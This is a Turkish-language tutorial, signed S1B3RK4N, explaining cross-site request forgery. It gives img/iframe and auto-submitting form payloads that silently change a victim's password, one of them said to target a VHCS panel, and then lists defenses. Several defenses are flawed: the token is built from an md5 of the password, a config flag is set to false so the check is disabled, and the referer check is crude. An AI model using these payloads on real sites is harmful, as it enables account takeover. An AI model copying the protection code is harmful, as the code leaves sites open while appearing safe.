Document converted with www.koolwire.com

Transkript

Document converted with www.koolwire.com
CSRF (XSRF , Cross Site Request Forgery – Cross Site Reference Forgery ) Nedir?
Nasıl Kullanılır ? ve Nasıl Korunulur?
CSRF (XSRF , Cross Site Request Forgery – Cross Site Reference Forgery ) Nedir?
Başlamadan Önce Size Kısaca bir Csrf(Xsrf) yani Cross Site Request Forgery Nedir ondan
bahsetmek istiyorum. Cross Site Request Forgery (diğer adlarıyla XSRF, CSRF, ve Cross Site
Reference Forgery) browserlerın javascript çalıştırma desteğiyle kişilere istenilenin dışında
servera komut yollanmasını sağlayan kodlardır. Sitemiz veya sistemimiz bu komutlar için
genel olarak url lerden yararlanır.
(Örn:https://www.domainsite.com/management/change_password.php?new_pass=s1b3rk4n&
verify_pass=s1b3rk4n&submited=1) bizde bunu bildiğimiz için bundan yararlanıcaz veya
formlar oluşturarak işlemimizi gerçekleştireceğiz. Zaten amacımızda bu işlemleri
gerçekleştirebilecek yetkiye sahip kişileri oturum açmış durumdayken kullanarak onlar yerine
kendi kodlarımızı güvenilir kodlarmış gibi kullanıcıyı kullanarak göndermektir.
Ve bu saldırıları html veya javascript kodları kullanarak işlemesini sağlayabiliriz.(Örn:<img
src=”https://www.domainsite.com/management/change_password.php?new_pass=s1b3rk4n&
verify_pass=s1b3rk4n&submited=1”>)
Saldırı Şekilleri 1:
Saldırganımız önceden saldırı için hazırladığı sitemizi kurbana yollar kurban gezerken
kurbanın domain sitesinde işlem yapması için ya bir teşvikte bulunabilir saldırganımız, online
olduğu bir zamanı seçebilir ya da kurbanın işi çıkıp girebilir girdiği anda online olduğu için
yani çevirim içi sitenin kod kısmına yerleştirilmiş olan (Örn: <img src=”
https://www.domainsite.com/management/change_password.php?new_pass=s1b3rk4n&verif
y_pass=s1b3rk4n&submited=1”> , <iframe src=”
https://www.domainsite.com/management/change_password.php?new_pass=s1b3rk4n&verif
y_pass=s1b3rk4n&submited=1”>) gibi html kodları veya formlarla (javascript ile)
saldırganımız kendi adına kişinin servera kodları yollamasını sağlar… Sonra olacak olan
Şifrenin Değişmesidir. Bundan sonra saldırgan bunu ister başka bir java veya php codeyle
işlemin gerçekleştiğini ya bir mail ile ya bir sniffer ile veya bilgisayarına bir log gönderterek
öğrenmesi çok basit…
Ve kullanıcımızın tüm domainleri gidiyor. Neden? Çünkü kendisi için gerekli önlemleri
almamış en basiti no-addon eklentisiyle mozilla’nın o javascript kodunun çalışmasını
engelleyebilirdi html kodlarına da bilinmeyen bağlantıları engelleyerek önlem alabilirdi…
Saldırı Şekilleri 2:
Bu saldırı şeklimizde de yukarıda bahsettiğimiz formlarla saldırı şeklini kısaca gösterim…
Örneğin vhcs panelimizde bulunan bir csrf ile saldırganın neler yapabileceğini gösterim.
Exploit Code :
<script type="text/javascript">
function siberkan(){
document.forms[0].submit();
}
</script>
</HEAD>
<body onLoad="siberkan()">
<siberkan><html><body>
<form name="client_change_pass_frm" method="post"
action="http://www.siteadress.com/admin/change_password.php">
<input type="password" name="pass" class="textinput"
value="passherre">
<input type="password" name="pass_rep" class="textinput" value="passhere">
<input type="hidden" name="uaction" value="updt_pass">
<input type="hidden" name="Submit" value="Update password">
</html></body></siberkan>
Exploit kodumuz yukarda göründüğü gibidir burada javascript kodu yardımıyla saldırgan
tarafından kullanıcıya .html şeklinde gönderilerek online yani aktif halde bulunan kullanıcının
server a şifre değiştirme isteğinde bulunmasını sağlayabiliriz. Bunun sonucunda panel şifresi
değişti. Yine kurban elindekini kaybetti… Kendinizde bu saldırı şekillerini çoğaltabilirsiniz
ben en çok kullanılan 2 yöntemi gösterdim…
Xss ve Xsrf Arasındaki İlişki:
Xss ve xsrf birbirini çok iyi tamamlayabilir bunu şöyle izah ettiğimde sanırım herkes
anlayabilir örn: bir sitenin şifre değişme üzerine yazılmış bir xsrf açığı varsa ve kullanıcı adı
da gerekiyorsa bununda aynı sayfaya yerleştirilmiş xss koduyla kolaylıkla alabiliriz yani bu 2
saldırı yöntemi aslında birbirine çok yardımcı yöntemlerdir…
Xsrf Den Korunma Yöntemleri:
3 ve daha fazla yöntemi vardır şimdi bunları açıklıcam.
1.Csrf $_POST Token Koruması
Bunu sizlere adım adım anlatmam daha mantıklı ve de açıklayıcı geldiği için böyle
anlatcam…
1. Adım:
Bu kodu tüm <form method="POST"> kodlarından sonra echo() içerisinde eklemeniz
önemlidir:
Code: <input type="hidden" name="token" value="".$_SESSION['token']."" />
2. Adım:
Bu kodu config dosyanıza ekleyin
Code:
if (isset($_USER['id'])) { // your function to check if a user is logged in
if (empty($_SESSION['token']) || !isset($_SESSION['token'])) { // if there is no token set
$_SESSION['token'] = strrev(md5($_USER['password'])); //set a token with a reverse string
and md5 encryption of the user's password
}
if (CSRF_PROTECTED != false) { // if you did not define CSRF_PROTECTED as false
if ($_POST) { // if there is a form present
if ($_POST['token'] != $_SESSION['token']) { // if the input token does not equal the session
token
header("Location: /index.php"); // redirect to index
die(); // stops all $_POST data from being sent
}
}
}
}
3. Adım:
Bu kodu da tüm include ile config dosyalarını çeken php dosyalarına ekleyiniz
Code:
define("CSRF_PROTECTED", false);
2.Csrf Captcha Koruması:
Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart)
kısaca kişinin üye olurken veya bir işlemi yaparken karşısına çıkna değişken sayı ve
rakamlardan oluşan resimlerdir. Bu resimleri bir form da gerekli yere yazmadığımız sürece o
işlem tamamlanmayacağı için csrf saldırıları için bir koruma teşkil etmektedir. Ama bundan
öncede eğerki bu kurulumu zaten gerçekleştirmek istiyorsanız etkili kullanımı olan bir
captcha kullanmanızı öneririm çünkü bazı sistemler captcha koyduğu halde aynı kodlar
gösterilip duruyor veya bu kodlar okunabiliyor bu hataya düştükten sonra hiçbir anlamı olmaz
captcha yı kullanmanın…
3.Browser Güvenliği:
Bunla da çok güvenilir de olmasa da kendimizce bir güvenlik oluşturabiliriz Örn: javascript
kodları ile yapılan saldırılara karşı javascript kodlarının çalışmasını önleyerek ve ya html
kodlarıyla yapılan saldırılara karşı yönlenecek siteleri engelleyerek ve ya kendi belirlediğimiz
kodların filtre ile süzmesini sağlayarak engellenebilir…
4. HTTP_REFERER ile Engelleme:
Yani sizin istemediğiniz url den gelen istekleri reddederek bu kodları yollayan kişiyi farklı bir
sayfaya yönlendirme işlemi ile csrf yöntemlerini engelleme tekniğidir..
Bunu aşağıdaki kodlarla sağlayabiliriz Örneğin:
<?php
if (strstr($_SERVER['HTTP_REFERER']," http://www.google.com ")) {
header ("Location: http://www.s1b3rk4n.co.cc/index.php");
} else {
header ("Location: http://ihtilal.in");
}
?>
Burada google.com dan gelmeyen bir isteği turk-hacking.org a yönlendirecek ama
google.com dan gelen istege seymen.org u açacaktır bu kadar basit…
5.URL Rewrite:
URL Rewrite tekniği kısaca açıklamak gerekirse, sitemizdeki Url leri ?ID=30 şeklinden daha
anlamlı olan baslik.html şekline çevirme işlemidir. Bunu yapmak uzun ve uğraşlı
olabileceğinden ve tam sonuç alınamayacağından pek tavsiye edemem…
6.Get yerine Post kullanımı:
Get yerine Post kullanılması yukarıdaki birinci saldırıyı etkisiz kılmaya yarayabilir yani post
kullanımında <img src=””> ile resim paylaşımına izin verilebilir buda yukarıdaki saldırının
resim olarak gözükmesine ve de x yani yanlış url olduğunu belli etmesini sağlar fakat
saldırgan bunu javascript kodlarıyla atlatabileceği için tavsiye edemem…
7. <input type=”hidden”> ile Korunma:
Bu kodumuzla sitemizin kaynak kısmına yerleştirebileceğimiz çeşitli değişken değerler
(Örn:md5, herhangi başka değerler) bu yöntemin etkisiz kalmasını sağlayabilir bu en çok
tavsiye edebileceğim yöntemlerdendir…
Örnek Csrf Açıkları:
http://www.securityreason.com/search/101/czFiM3JrNG4=/1/0 [By S1B3RK4N]
S1B3RK4N
www.s1b3rk4n.co.cc
www.ihtilal.in
www.cyberdefacer.org